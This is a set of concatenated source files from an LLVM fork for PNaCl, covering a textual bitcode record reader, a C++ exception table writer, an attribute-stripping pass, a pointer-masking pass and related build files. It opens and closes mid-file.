convertInstruction(&I, State, DL);
Modified = true;
}
}
}
State.patchForwardPHIs();
State.eraseReplacedInstructions();
return Modified;
}
FunctionPass *llvm::createExpandLargeIntegersPass() {
return new ExpandLargeIntegers();
}
<file_sep>/lib/Bitcode/NaCl/TestUtils/NaClBitcodeTextReader.cpp
//===- NaClBitcodeTextReader.cpp - Read texual bitcode record list --------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Implements bitcode reader from textual form.
//
// A Textual bitcode file is a sequence of textual bitcode records.
// A Textual bitcode record is a sequence of integers, separated by
// commas, and terminated with a semicolon followed by a newline.
//
// In addition, unlike the binary form of bitcode, the input has no
// bitcode header record.
// ===---------------------------------------------------------------------===//
#include "llvm/ADT/STLExtras.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeMungeUtils.h"
#include "llvm/Bitcode/NaCl/NaClReaderWriter.h"
#include <cstring>
namespace llvm {
class Module;
} // end of namespace llvm
using namespace llvm;
namespace {
// Defines a text reader error code.
enum ReaderErrorType {
NoCodeForRecord=1, // Note: Error types must not be zero!
NoValueAfterSeparator,
NoSeparatorOrTerminator,
NoNewlineAfterTerminator,
BitcodeHeaderNotAllowed,
NoAbbreviationsAllowed,
UnableToWriteBitcode
};
// Defines the corresponding error messages.
class ReaderErrorCategoryType : public std::error_category {
ReaderErrorCategoryType(const ReaderErrorCategoryType&) = delete;
void operator=(const ReaderErrorCategoryType&) = delete;
public:
static const ReaderErrorCategoryType &get() {
return Sentinel;
}
private:
static const ReaderErrorCategoryType Sentinel;
ReaderErrorCategoryType() {}
const char *name() const LLVM_NOEXCEPT override {
return "pnacl.text_bitcode";
}
std::string message(int IndexError) const override {
switch(static_cast<ReaderErrorType>(IndexError)) {
case NoCodeForRecord:
return "Bitcode record doesn't begin with a record code";
case NoValueAfterSeparator:
return "Value expected after separator, but not found";
case NoSeparatorOrTerminator:
return "Separator/terminator expected after value";
case NoNewlineAfterTerminator:
return "Newline expecded after terminating semicolon";
case BitcodeHeaderNotAllowed:
return "Bitcode headers not allowed in bitcode text";
case NoAbbreviationsAllowed:
return "Bitcode abbreviations not allowed in bitcode text";
case UnableToWriteBitcode:
return "Unable to generate bitcode buffer from textual bitcode records";
}
llvm_unreachable("Unknown error type!");
}
~ReaderErrorCategoryType() override = default;
};
const ReaderErrorCategoryType ReaderErrorCategoryType::Sentinel;
/// Parses text bitcode records, and adds them to an existing list of
/// bitcode records.
class TextRecordParser {
TextRecordParser(const TextRecordParser&) = delete;
void operator=(const TextRecordParser&) = delete;
public:
/// Creates a parser to parse records from the InputBuffer, and
/// append them to the list of Records.
TextRecordParser(NaClBitcodeRecordList &Records,
MemoryBuffer *InputBuffer)
: Records(Records), Buffer(InputBuffer->getBuffer()) {}
/// Reads in the list of bitcode records in the input buffer.
std::error_code read();
private:
// The list of bitcode records to generate.
NaClBitcodeRecordList &Records;
// The input buffer to parse.
StringRef Buffer;
// The current location within the input buffer.
size_t Cursor = 0;
// The separator character.
static const char *Separator;
// The terminator character.
static const char *Terminator;
// The newline character that must follow a terminator.
static const char *Newline;
// Valid digits that can be used to define numbers.
static const char *Digits;
// Returns true if we have reached the end of the input buffer.
bool atEof() const {
return Cursor == Buffer.size();
}
// Tries to read a character in the given set of characters. Returns
// the character found, or 0 if not found.
char readChar(const char *Chars);
// Tries to read a (integral) number. If successful, Value is set to
// the parsed number and returns true. Otherwise false is returned.
// Does not check for number overflow.
bool readNumber(uint64_t &Value);
// Reads a record from the input buffer.
std::error_code readRecord();
};
const char *TextRecordParser::Newline = "\n";
const char *TextRecordParser::Separator = ",";
const char *TextRecordParser::Terminator = ";";
const char *TextRecordParser::Digits = "0123456789";
std::error_code TextRecordParser::read() {
while (!atEof()) {
if (std::error_code EC = readRecord())
return EC;
}
return std::error_code();
}
char TextRecordParser::readChar(const char *Chars) {
if (atEof())
return 0;
char Ch = Buffer[Cursor];
if (std::strchr(Chars, Ch) == 0)
return 0;
++Cursor;
return Ch;
}
bool TextRecordParser::readNumber(uint64_t &Value) {
Value = 0;
bool NumberFound = false;
while (1) {
char Ch = readChar(Digits);
if (!Ch)
return NumberFound;
Value = (Value * 10) + (Ch - '0');
NumberFound = true;
}
}
std::error_code TextRecordParser::readRecord() {
// States of parser used to parse bitcode records.
enum ParseState {
// Begin parsing a record.
StartParse,
// Before a value in the record.
BeforeValue,
// Immediately after a value in the record.
AfterValue,
// Completed parsing a record.
FinishParse
} State = StartParse;
unsigned Code = 0;
NaClRecordVector Values;
uint64_t Number = 0;
while (1) {
switch (State) {
case StartParse:
if (!readNumber(Number)) {
if (atEof())
return std::error_code();
return std::error_code(NoCodeForRecord,
ReaderErrorCategoryType::get());
}
Code = Number;
State = AfterValue;
continue;
case BeforeValue:
if (!readNumber(Number))
return std::error_code(NoValueAfterSeparator,
ReaderErrorCategoryType::get());
Values.push_back(Number);
State = AfterValue;
continue;
case AfterValue:
if (readChar(Separator)) {
State = BeforeValue;
continue;
}
if (readChar(Terminator)) {
State = FinishParse;
if (!readChar(Newline))
return std::error_code(NoNewlineAfterTerminator,
ReaderErrorCategoryType::get());
continue;
}
return std::error_code(NoSeparatorOrTerminator,
ReaderErrorCategoryType::get());
case FinishParse: {
unsigned Abbrev = naclbitc::UNABBREV_RECORD;
switch (Code) {
case naclbitc::BLK_CODE_ENTER:
Abbrev = naclbitc::ENTER_SUBBLOCK;
break;
case naclbitc::BLK_CODE_EXIT:
Abbrev = naclbitc::END_BLOCK;
break;
case naclbitc::BLK_CODE_HEADER:
return std::error_code(BitcodeHeaderNotAllowed,
ReaderErrorCategoryType::get());
case naclbitc::BLK_CODE_DEFINE_ABBREV:
return std::error_code(NoAbbreviationsAllowed,
ReaderErrorCategoryType::get());
default: // All other records.
break;
}
Records.push_back(make_unique<NaClBitcodeAbbrevRecord>(
Abbrev, Code, Values));
return std::error_code();
}
}
}
}
} // end of anonymous namespace
std::error_code llvm::readNaClRecordTextAndBuildBitcode(
StringRef Filename, SmallVectorImpl<char> &Buffer, raw_ostream *Verbose) {
// Open the input file with text records.
ErrorOr<std::unique_ptr<MemoryBuffer>>
MemBuf(MemoryBuffer::getFileOrSTDIN(Filename));
if (!MemBuf)
return MemBuf.getError();
// Read in the bitcode text records.
std::unique_ptr<NaClBitcodeRecordList> Records(new NaClBitcodeRecordList());
if (std::error_code EC =
readNaClTextBcRecordList(*Records, std::move(MemBuf.get())))
return EC;
// Write out the records into Buffer.
NaClMungedBitcode Bitcode(std::move(Records));
NaClMungedBitcode::WriteFlags Flags;
if (Verbose)
Flags.setErrStream(*Verbose);
bool AddHeader = true;
if (!Bitcode.write(Buffer, AddHeader)) {
return std::error_code(UnableToWriteBitcode,
ReaderErrorCategoryType::get());
}
return std::error_code();
}
std::error_code llvm::readNaClTextBcRecordList(
NaClBitcodeRecordList &RecordList,
std::unique_ptr<MemoryBuffer> InputBuffer) {
TextRecordParser Parser(RecordList, InputBuffer.get());
return Parser.read();
}
llvm::ErrorOr<llvm::Module *>
llvm::parseNaClBitcodeText(const std::string &Filename, LLVMContext &Context,
raw_ostream *Verbose) {
SmallVector<char, 1024> Buffer;
// Fill Buffer with corresponding bitcode records from Filename.
if (std::error_code EC =
readNaClRecordTextAndBuildBitcode(Filename, Buffer, Verbose))
return EC;
// Parse buffer as ordinary binary bitcode file.
StringRef BitcodeBuffer(Buffer.data(), Buffer.size());
MemoryBufferRef MemBufRef(BitcodeBuffer, Filename);
DiagnosticHandlerFunction DiagnosticHandler = nullptr;
return NaClParseBitcodeFile(MemBufRef, Context, DiagnosticHandler, Verbose);
}
<file_sep>/lib/Transforms/NaCl/ExceptionInfoWriter.cpp
//===- ExceptionInfoWriter.cpp - Generate C++ exception info for PNaCl-----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// The ExceptionInfoWriter class converts the clauses of a
// "landingpad" instruction into data tables stored in global
// variables. These tables are interpreted by PNaCl's C++ runtime
// library (either libsupc++ or libcxxabi), which is linked into a
// pexe.
//
// This is similar to the lowering that the LLVM backend does to
// convert landingpad clauses into ".gcc_except_table" sections. The
// difference is that ExceptionInfoWriter is an IR-to-IR
// transformation that runs on the PNaCl user toolchain side. The
// format it produces is not part of PNaCl's stable ABI; the PNaCl
// translator and LLVM backend do not know about this format.
//
// Encoding:
//
// A landingpad instruction contains a list of clauses.
// ExceptionInfoWriter encodes each clause as a 32-bit "clause ID". A
// clause is one of the following forms:
//
// 1) "catch i8* @ExcType"
// * This clause means that the landingpad should be entered if
// the C++ exception being thrown has type @ExcType (or a
// subtype of @ExcType). @ExcType is a pointer to the
// std::type_info object (an RTTI object) for the C++ exception
// type.
// * Clang generates this for a "catch" block in the C++ source.
// * @ExcType is NULL for "catch (...)" (catch-all) blocks.
// * This is encoded as the "type ID" for @ExcType, defined below,
// which is a positive integer.
//
// 2) "filter [i8* @ExcType1, ..., i8* @ExcTypeN]"
// * This clause means that the landingpad should be entered if
// the C++ exception being thrown *doesn't* match any of the
// types in the list (which are again specified as
// std::type_info pointers).
// * Clang uses this to implement C++ exception specifications, e.g.
// void foo() throw(ExcType1, ..., ExcTypeN) { ... }
// * This is encoded as the filter ID, X, where X < 0, and
// &__pnacl_eh_filter_table[-X-1] points to a 0-terminated
// array of integer "type IDs".
//
// 3) "cleanup"
// * This means that the landingpad should always be entered.
// * Clang uses this for calling objects' destructors.
// * This is encoded as 0.
// * The runtime may treat "cleanup" differently from "catch i8*
// null" (a catch-all). In C++, if an unhandled exception
// occurs, the language runtime may abort execution without
// running any destructors. The runtime may implement this by
// searching for a matching non-"cleanup" clause, and aborting
// if it does not find one, before entering any landingpad
// blocks.
//
// The "type ID" for a type @ExcType is a 1-based index into the array
// __pnacl_eh_type_table[]. That is, the type ID is a value X such
// that __pnacl_eh_type_table[X-1] == @ExcType, and X >= 1.
//
// ExceptionInfoWriter generates the following data structures:
//
// struct action_table_entry {
// int32_t clause_id;
// uint32_t next_clause_list_id;
// };
//
// // Represents singly linked lists of clauses.
// extern const struct action_table_entry __pnacl_eh_action_table[];
//
// // Allows std::type_infos to be represented using small integer IDs.
// extern std::type_info *const __pnacl_eh_type_table[];
//
// // Used to represent type arrays for "filter" clauses.
// extern const uint32_t __pnacl_eh_filter_table[];
//
// A "clause list ID" is either:
// * 0, representing the empty list; or
// * an index into __pnacl_eh_action_table[] with 1 added, which
// specifies a node in the clause list.
//
// Example:
//
// std::type_info *const __pnacl_eh_type_table[] = {
// // defines type ID 1 == ExcA and clause ID 1 == "catch ExcA"
// &typeinfo(ExcA),
// // defines type ID 2 == ExcB and clause ID 2 == "catch ExcB"
// &typeinfo(ExcB),
// // defines type ID 3 == ExcC and clause ID 3 == "catch ExcC"
// &typeinfo(ExcC),
// };
//
// const uint32_t __pnacl_eh_filter_table[] = {
// 1, // refers to ExcA; defines clause ID -1 as "filter [ExcA, ExcB]"
// 2, // refers to ExcB; defines clause ID -2 as "filter [ExcB]"
// 0, // list terminator; defines clause ID -3 as "filter []"
// 3, // refers to ExcC; defines clause ID -4 as "filter [ExcC]"
// 0, // list terminator; defines clause ID -5 as "filter []"
// };
//
// const struct action_table_entry __pnacl_eh_action_table[] = {
// // defines clause list ID 1:
// {
// -4, // "filter [ExcC]"
// 0, // end of list (no more actions)
// },
// // defines clause list ID 2:
// {
// -1, // "filter [ExcA, ExcB]"
// 1, // else go to clause list ID 1
// },
// // defines clause list ID 3:
// {
// 2, // "catch ExcB"
// 2, // else go to clause list ID 2
// },
// // defines clause list ID 4:
// {
// 1, // "catch ExcA"
// 3, // else go to clause list ID 3
// },
// };
//
// So if a landingpad contains the clause list:
// [catch ExcA,
// catch ExcB,
// filter [ExcA, ExcB],
// filter [ExcC]]
// then this can be represented as clause list ID 4 using the tables above.
//
// The C++ runtime library checks the clauses in order to decide
// whether to enter the landingpad. If a clause matches, the
// landingpad BasicBlock is passed the clause ID. The landingpad code
// can use the clause ID to decide which C++ catch() block (if any) to
// execute.
//
// The purpose of these exception tables is to keep code sizes
// relatively small. The landingpad code only needs to check a small
// integer clause ID, rather than having to call a function to check
// whether the C++ exception matches a type.
//
// ExceptionInfoWriter's encoding corresponds loosely to the format of
// GCC's .gcc_except_table sections. One difference is that
// ExceptionInfoWriter writes fixed-width 32-bit integers, whereas
// .gcc_except_table uses variable-length LEB128 encodings. We could
// switch to LEB128 to save space in the future.
//
//===----------------------------------------------------------------------===//
#include "ExceptionInfoWriter.h"
#include "llvm/IR/Constants.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
ExceptionInfoWriter::ExceptionInfoWriter(LLVMContext *Context):
Context(Context) {
Type *I32 = Type::getInt32Ty(*Context);
Type *Fields[] = { I32, I32 };
ActionTableEntryTy = StructType::create(Fields, "action_table_entry");
}
unsigned ExceptionInfoWriter::getIDForExceptionType(Value *ExcTy) {
Constant *ExcTyConst = dyn_cast<Constant>(ExcTy);
if (!ExcTyConst)
report_fatal_error("Exception type not a constant");
// Reuse existing ID if one has already been assigned.
TypeTableIDMapType::iterator Iter = TypeTableIDMap.find(ExcTyConst);
if (Iter != TypeTableIDMap.end())
return Iter->second;
unsigned Index = TypeTableData.size() + 1;
TypeTableIDMap[ExcTyConst] = Index;
TypeTableData.push_back(ExcTyConst);
return Index;
}
unsigned ExceptionInfoWriter::getIDForClauseListNode(
unsigned ClauseID, unsigned NextClauseListID) {
// Reuse existing ID if one has already been assigned.
ActionTableEntry Key(ClauseID, NextClauseListID);
ActionTableIDMapType::iterator Iter = ActionTableIDMap.find(Key);
if (Iter != ActionTableIDMap.end())
return Iter->second;
Type *I32 = Type::getInt32Ty(*Context);
Constant *Fields[] = { ConstantInt::get(I32, ClauseID),
ConstantInt::get(I32, NextClauseListID) };
Constant *Entry = ConstantStruct::get(ActionTableEntryTy, Fields);
// Add 1 so that the empty list can be represented as 0.
unsigned ClauseListID = ActionTableData.size() + 1;
ActionTableIDMap[Key] = ClauseListID;
ActionTableData.push_back(Entry);
return ClauseListID;
}
unsigned ExceptionInfoWriter::getIDForFilterClause(Value *Filter) {
unsigned FilterClauseID = -(FilterTableData.size() + 1);
Type *I32 = Type::getInt32Ty(*Context);
ArrayType *ArrayTy = dyn_cast<ArrayType>(Filter->getType());
if (!ArrayTy)
report_fatal_error("Landingpad filter clause is not of array type");
unsigned FilterLength = ArrayTy->getNumElements();
// Don't try the dyn_cast if the FilterLength is zero, because Array
// could be a zeroinitializer.
if (FilterLength > 0) {
ConstantArray *Array = dyn_cast<ConstantArray>(Filter);
if (!Array)
report_fatal_error("Landingpad filter clause is not a ConstantArray");
for (unsigned I = 0; I < FilterLength; ++I) {
unsigned TypeID = getIDForExceptionType(Array->getOperand(I));
assert(TypeID > 0);
FilterTableData.push_back(ConstantInt::get(I32, TypeID));
}
}
// Add array terminator.
FilterTableData.push_back(ConstantInt::get(I32, 0));
return FilterClauseID;
}
unsigned ExceptionInfoWriter::getIDForLandingPadClauseList(LandingPadInst *LP) {
unsigned NextClauseListID = 0; // ID for empty list.
if (LP->isCleanup()) {
// Add cleanup clause at the end of the list.
NextClauseListID = getIDForClauseListNode(0, NextClauseListID);
}
for (int I = (int) LP->getNumClauses() - 1; I >= 0; --I) {
unsigned ClauseID;
if (LP->isCatch(I)) {
ClauseID = getIDForExceptionType(LP->getClause(I));
} else if (LP->isFilter(I)) {
ClauseID = getIDForFilterClause(LP->getClause(I));
} else {
report_fatal_error("Unknown kind of landingpad clause");
}
assert(ClauseID > 0);
NextClauseListID = getIDForClauseListNode(ClauseID, NextClauseListID);
}
return NextClauseListID;
}
static void defineArray(Module *M, const char *Name,
const SmallVectorImpl<Constant *> &Elements,
Type *ElementType) {
ArrayType *ArrayTy = ArrayType::get(ElementType, Elements.size());
Constant *ArrayData = ConstantArray::get(ArrayTy, Elements);
GlobalVariable *OldGlobal = M->getGlobalVariable(Name);
if (OldGlobal) {
if (OldGlobal->hasInitializer()) {
report_fatal_error(std::string("Variable ") + Name +
" already has an initializer");
}
Constant *NewGlobal = new GlobalVariable(
*M, ArrayTy, /* isConstant= */ true,
GlobalValue::InternalLinkage, ArrayData);
NewGlobal->takeName(OldGlobal);
OldGlobal->replaceAllUsesWith(ConstantExpr::getBitCast(
NewGlobal, OldGlobal->getType()));
OldGlobal->eraseFromParent();
} else {
if (Elements.size() > 0) {
// This warning could happen for a program that does not link
// against the C++ runtime libraries. Such a program might
// contain "invoke" instructions but never throw any C++
// exceptions.
errs() << "Warning: Variable " << Name << " not referenced\n";
}
}
}
void ExceptionInfoWriter::defineGlobalVariables(Module *M) {
defineArray(M, "__pnacl_eh_type_table", TypeTableData,
Type::getInt8PtrTy(M->getContext()));
defineArray(M, "__pnacl_eh_action_table", ActionTableData,
ActionTableEntryTy);
defineArray(M, "__pnacl_eh_filter_table", FilterTableData,
Type::getInt32Ty(M->getContext()));
}
<file_sep>/lib/Target/ARM/ARMFPUName.def
//===-- ARMFPUName.def - List of the ARM FPU names --------------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains the list of the supported ARM FPU names.
//
//===----------------------------------------------------------------------===//
// NOTE: NO INCLUDE GUARD DESIRED!
#ifndef ARM_FPU_NAME
#error "You must define ARM_FPU_NAME(NAME, ID) before including ARMFPUName.h"
#endif
ARM_FPU_NAME("vfp", VFP)
ARM_FPU_NAME("vfpv2", VFPV2)
ARM_FPU_NAME("vfpv3", VFPV3)
ARM_FPU_NAME("vfpv3-d16", VFPV3_D16)
ARM_FPU_NAME("vfpv4", VFPV4)
ARM_FPU_NAME("vfpv4-d16", VFPV4_D16)
ARM_FPU_NAME("fpv5-d16", FPV5_D16)
ARM_FPU_NAME("fp-armv8", FP_ARMV8)
ARM_FPU_NAME("neon", NEON)
ARM_FPU_NAME("neon-vfpv4", NEON_VFPV4)
ARM_FPU_NAME("neon-fp-armv8", NEON_FP_ARMV8)
ARM_FPU_NAME("crypto-neon-fp-armv8", CRYPTO_NEON_FP_ARMV8)
ARM_FPU_NAME("softvfp", SOFTVFP)
#undef ARM_FPU_NAME
<file_sep>/lib/Transforms/NaCl/StripAttributes.cpp
//===- StripAttributes.cpp - Remove attributes not supported by PNaCl------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This pass strips out attributes that are not supported by PNaCl's
// stable ABI. Currently, this strips out:
//
// * Function and argument attributes from functions and function
// calls.
// * Calling conventions from functions and function calls.
// * The "align" attribute on functions.
// * The "unnamed_addr" attribute on functions and global variables.
// * The distinction between "internal" and "private" linkage.
// * "protected" and "internal" visibility of functions and globals.
// * All sections are stripped. A few sections cause warnings.
// * The arithmetic attributes "nsw", "nuw" and "exact".
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Operator.h"
#include "llvm/Pass.h"
#include "llvm/IR/CallSite.h"
#include "llvm/Transforms/NaCl.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
namespace {
// This is a ModulePass so that it can modify attributes of global
// variables.
class StripAttributes : public ModulePass {
public:
static char ID; // Pass identification, replacement for typeid
StripAttributes() : ModulePass(ID) {
initializeStripAttributesPass(*PassRegistry::getPassRegistry());
}
bool runOnModule(Module &M) override;
};
}
char StripAttributes::ID = 0;
INITIALIZE_PASS(StripAttributes, "nacl-strip-attributes",
"Strip out attributes that are not part of PNaCl's ABI",
false, false)
static void CheckAttributes(AttributeSet Attrs) {
for (unsigned Slot = 0; Slot < Attrs.getNumSlots(); ++Slot) {
for (AttributeSet::iterator Attr = Attrs.begin(Slot), E = Attrs.end(Slot);
Attr != E; ++Attr) {
if (!Attr->isEnumAttribute()) {
continue;
}
switch (Attr->getKindAsEnum()) {
// The vast majority of attributes are hints that can safely
// be removed, so don't complain if we see attributes we don't
// recognize.
default:
// The following attributes can affect calling conventions.
// Rather than complaining, we just strip these out.
// ExpandSmallArguments should have rendered SExt/ZExt
// meaningless since the function arguments will be at least
// 32-bit.
case Attribute::InReg:
case Attribute::SExt:
case Attribute::ZExt:
// These attributes influence ABI decisions that should not be
// visible to PNaCl pexes.
case Attribute::NonLazyBind: // Only relevant to dynamic linking.
case Attribute::NoRedZone:
case Attribute::StackAlignment:
// The following attributes are just hints, which can be
// safely removed.
case Attribute::AlwaysInline:
case Attribute::InlineHint:
case Attribute::MinSize:
case Attribute::NoAlias:
case Attribute::NoBuiltin:
case Attribute::NoCapture:
case Attribute::NoDuplicate:
case Attribute::NoImplicitFloat:
case Attribute::NoInline:
case Attribute::NoReturn:
case Attribute::OptimizeForSize:
case Attribute::ReadNone:
case Attribute::ReadOnly:
// PNaCl does not support -fstack-protector in the translator.
case Attribute::StackProtect:
case Attribute::StackProtectReq:
case Attribute::StackProtectStrong:
// PNaCl does not support ASan in the translator.
case Attribute::SanitizeAddress:
case Attribute::SanitizeThread:
case Attribute::SanitizeMemory:
// The Language References cites setjmp() as an example of a
// function which returns twice, and says ReturnsTwice is
// necessary to disable optimizations such as tail calls.
// However, in the PNaCl ABI, setjmp() is an intrinsic, and
// user-defined functions are not allowed to return twice.
case Attribute::ReturnsTwice:
// NoUnwind is not a hint if it causes unwind info to be
// omitted, since this will prevent C++ exceptions from
// propagating. In the future, when PNaCl supports zero-cost
// C++ exception handling using unwind info, we might allow
// NoUnwind and UWTable. Alternatively, we might continue to
// disallow them, and just generate unwind info for all
// functions.
case Attribute::NoUnwind:
case Attribute::UWTable:
break;
// A few attributes can change program behaviour if removed,
// so check for these.
case Attribute::ByVal:
case Attribute::StructRet:
case Attribute::Alignment:
Attrs.dump();
report_fatal_error(
"Attribute should already have been removed by ExpandByVal");
case Attribute::Naked:
case Attribute::Nest:
Attrs.dump();
report_fatal_error("Unsupported attribute");
}
}
}
}
static const char* ShouldWarnAboutSection(const char* Section) {
static const char* SpecialSections[] = {
".init_array",
".init",
".fini_array",
".fini",
// Java/LSB:
".jcr",
// LSB:
".ctors",
".dtors",
};
for (auto CheckSection : SpecialSections) {
if (strcmp(Section, CheckSection) == 0) {
return CheckSection;
}
}
return nullptr;
}
void stripGlobalValueAttrs(GlobalValue *GV) {
// In case source code uses __attribute__((visibility("hidden"))) or
// __attribute__((visibility("protected"))), strip these attributes.
GV->setVisibility(GlobalValue::DefaultVisibility);
GV->setUnnamedAddr(false);
if (GV->hasSection()) {
const char *Section = GV->getSection();
// check for a few special cases
if (const char *WarnSection = ShouldWarnAboutSection(Section)) {
errs() << "Warning: " << GV->getName() <<
" will have its section (" <<
WarnSection << ") stripped.\n";
}
if(GlobalObject* GO = dyn_cast<GlobalObject>(GV)) {
GO->setSection("");
}
// Nothing we can do if GV isn't a GlobalObject.
}
// Convert "private" linkage to "internal" to reduce the number of
// linkage types that need to be represented in PNaCl's wire format.
//
// We convert "private" to "internal" rather than vice versa because
// "private" symbols are omitted from the nexe's symbol table, which
// would get in the way of debugging when an unstripped pexe is
// translated offline.
if (GV->getLinkage() == GlobalValue::PrivateLinkage)
GV->setLinkage(GlobalValue::InternalLinkage);
}
void stripFunctionAttrs(DataLayout *DL, Function *F) {
CheckAttributes(F->getAttributes());
F->setAttributes(AttributeSet());
F->setCallingConv(CallingConv::C);
F->setAlignment(0);
for (BasicBlock &BB : *F) {
for (Instruction &I : BB) {
CallSite Call(&I);
if (Call) {
CheckAttributes(Call.getAttributes());
Call.setAttributes(AttributeSet());
Call.setCallingConv(CallingConv::C);
} else if (OverflowingBinaryOperator *Op =
dyn_cast<OverflowingBinaryOperator>(&I)) {
cast<BinaryOperator>(Op)->setHasNoUnsignedWrap(false);
cast<BinaryOperator>(Op)->setHasNoSignedWrap(false);
} else if (PossiblyExactOperator *Op =
dyn_cast<PossiblyExactOperator>(&I)) {
cast<BinaryOperator>(Op)->setIsExact(false);
}
}
}
}
bool StripAttributes::runOnModule(Module &M) {
DataLayout DL(&M);
for (Function &F : M)
// Avoid stripping attributes from intrinsics because the
// constructor for Functions just adds them back again. It would
// be confusing if the attributes were sometimes present on
// intrinsics and sometimes not.
if (!F.isIntrinsic()) {
stripGlobalValueAttrs(&F);
stripFunctionAttrs(&DL, &F);
}
for (GlobalVariable &GV : M.globals())
stripGlobalValueAttrs(&GV);
return true;
}
ModulePass *llvm::createStripAttributesPass() {
return new StripAttributes();
}
<file_sep>/lib/Transforms/NaCl/CMakeLists.txt
add_llvm_library(LLVMNaClTransforms
AddPNaClExternalDecls.cpp
BackendCanonicalize.cpp
CanonicalizeMemIntrinsics.cpp
CleanupUsedGlobalsMetadata.cpp
ClearPtrToIntTop32.cpp
ConstantInsertExtractElementIndex.cpp
ConvertToPSO.cpp
ExceptionInfoWriter.cpp
ExpandArithWithOverflow.cpp
ExpandByVal.cpp
ExpandConstantExpr.cpp
ExpandCtors.cpp
ExpandGetElementPtr.cpp
ExpandIndirectBr.cpp
ExpandLargeIntegers.cpp
ExpandShuffleVector.cpp
ExpandSmallArguments.cpp
ExpandStructRegs.cpp
ExpandTls.cpp
ExpandTlsConstantExpr.cpp
ExpandUtils.cpp
ExpandVarArgs.cpp
FixVectorLoadStoreAlignment.cpp
FlattenGlobals.cpp
SimplifiedFuncTypeMap.cpp
GlobalCleanup.cpp
GlobalizeConstantVectors.cpp
InsertDivideCheck.cpp
InternalizeUsedGlobals.cpp
NormalizeAlignment.cpp
PNaClABISimplify.cpp
PNaClSjLjEH.cpp
PromoteI1Ops.cpp
PromoteIntegers.cpp
RemoveAsmMemory.cpp
ReplacePtrsWithInts.cpp
ResolvePNaClIntrinsics.cpp
RewriteAtomics.cpp
RewriteLLVMIntrinsics.cpp
RewritePNaClLibraryCalls.cpp
SimplifyAllocas.cpp
SimplifyStructRegSignatures.cpp
StripAttributes.cpp
StripMetadata.cpp
)
add_dependencies(LLVMNaClTransforms intrinsics_gen)
<file_sep>/lib/Transforms/NaCl/ClearPtrToIntTop32.cpp
//===- ClearPtrToIntTop32.cpp - Convert pointer values to integer values--===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// In the NaClDontBreakABI mode, in 64 bit architectures, ptrs are 64 bit
// So when ptrs are converted to ints, they may or may not have the top 32 bits cleared
// This pass clears the top 32 bits for consistency to ensure that operations such as
// ptr1 - ptr2
// produce the expected result
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/DebugInfo.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/InstrTypes.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/InstVisitor.h"
#include "llvm/IR/IntrinsicInst.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Type.h"
#include "llvm/Pass.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
namespace {
class ClearPtrToIntTop32 : public FunctionPass, public InstVisitor<ClearPtrToIntTop32, bool> {
public:
static char ID; // Pass identification, replacement for typeid
ClearPtrToIntTop32() : FunctionPass(ID) {
initializeClearPtrToIntTop32Pass(*PassRegistry::getPassRegistry());
}
virtual bool runOnFunction(Function &F);
bool visitInstruction(Instruction &I) { return false; }
bool visitPtrToIntInst(PtrToIntInst &I);
bool visitICmpInst(ICmpInst &I);
};
}
char ClearPtrToIntTop32::ID = 0;
INITIALIZE_PASS(ClearPtrToIntTop32, "clear-ptr-to-int-top32",
"Clear top bits for ptr to int comparisions and ptr to ptr comparisons",
false, false)
bool ClearPtrToIntTop32::runOnFunction(Function &F) {
bool Modified = false;
for (Function::iterator FI = F.begin(), FE = F.end(); FI != FE; ++FI)
for (BasicBlock::iterator BI = FI->begin(), BE = FI->end(); BI != BE; ++BI)
Modified |= visit(&*BI);
return Modified;
}
bool ClearPtrToIntTop32::visitPtrToIntInst(PtrToIntInst &I) {
if(I.getType()->isIntegerTy())
{
Value* ptrOp = I.getPointerOperand();
Instruction *newPtrToInt = new PtrToIntInst(ptrOp, I.getType(), I.getName(), &I);
auto I64 = Type::getInt64Ty(I.getContext());
Instruction *maskInst = BinaryOperator::CreateAnd(newPtrToInt, ConstantInt::get(I64, 0xffffffff), "ptr.clr", &I);
I.replaceAllUsesWith(maskInst);
return true;
}
return false;
}
bool ClearPtrToIntTop32::visitICmpInst(ICmpInst &I) {
Value* op0 = I.getOperand(0);
Value* op1 = I.getOperand(1);
if (op0->getType()->isPointerTy() && op1->getType()->isPointerTy())
{
auto I64 = Type::getInt64Ty(I.getContext());
Instruction *op0Int = new PtrToIntInst(op0, I64, "op.clr", &I);
Instruction *op1Int = new PtrToIntInst(op1, I64, "op.clr", &I);
Instruction *maskInst0 = BinaryOperator::CreateAnd(op0Int, ConstantInt::get(I64, 0xffffffff), "ptr.clr", &I);
Instruction *maskInst1 = BinaryOperator::CreateAnd(op1Int, ConstantInt::get(I64, 0xffffffff), "ptr.clr", &I);
auto newInst = CmpInst::Create(Instruction::ICmp, I.getPredicate(), maskInst0, maskInst1, I.getName(), &I);
I.replaceAllUsesWith(newInst);
return true;
}
return false;
}
FunctionPass *llvm::createClearPtrToIntTop32Pass() {
return new ClearPtrToIntTop32();
}
<file_sep>/utils/lit/tests/xunit-output.py
# Check xunit output
# RUN: %{lit} --xunit-xml-output %t.xunit.xml %{inputs}/test-data
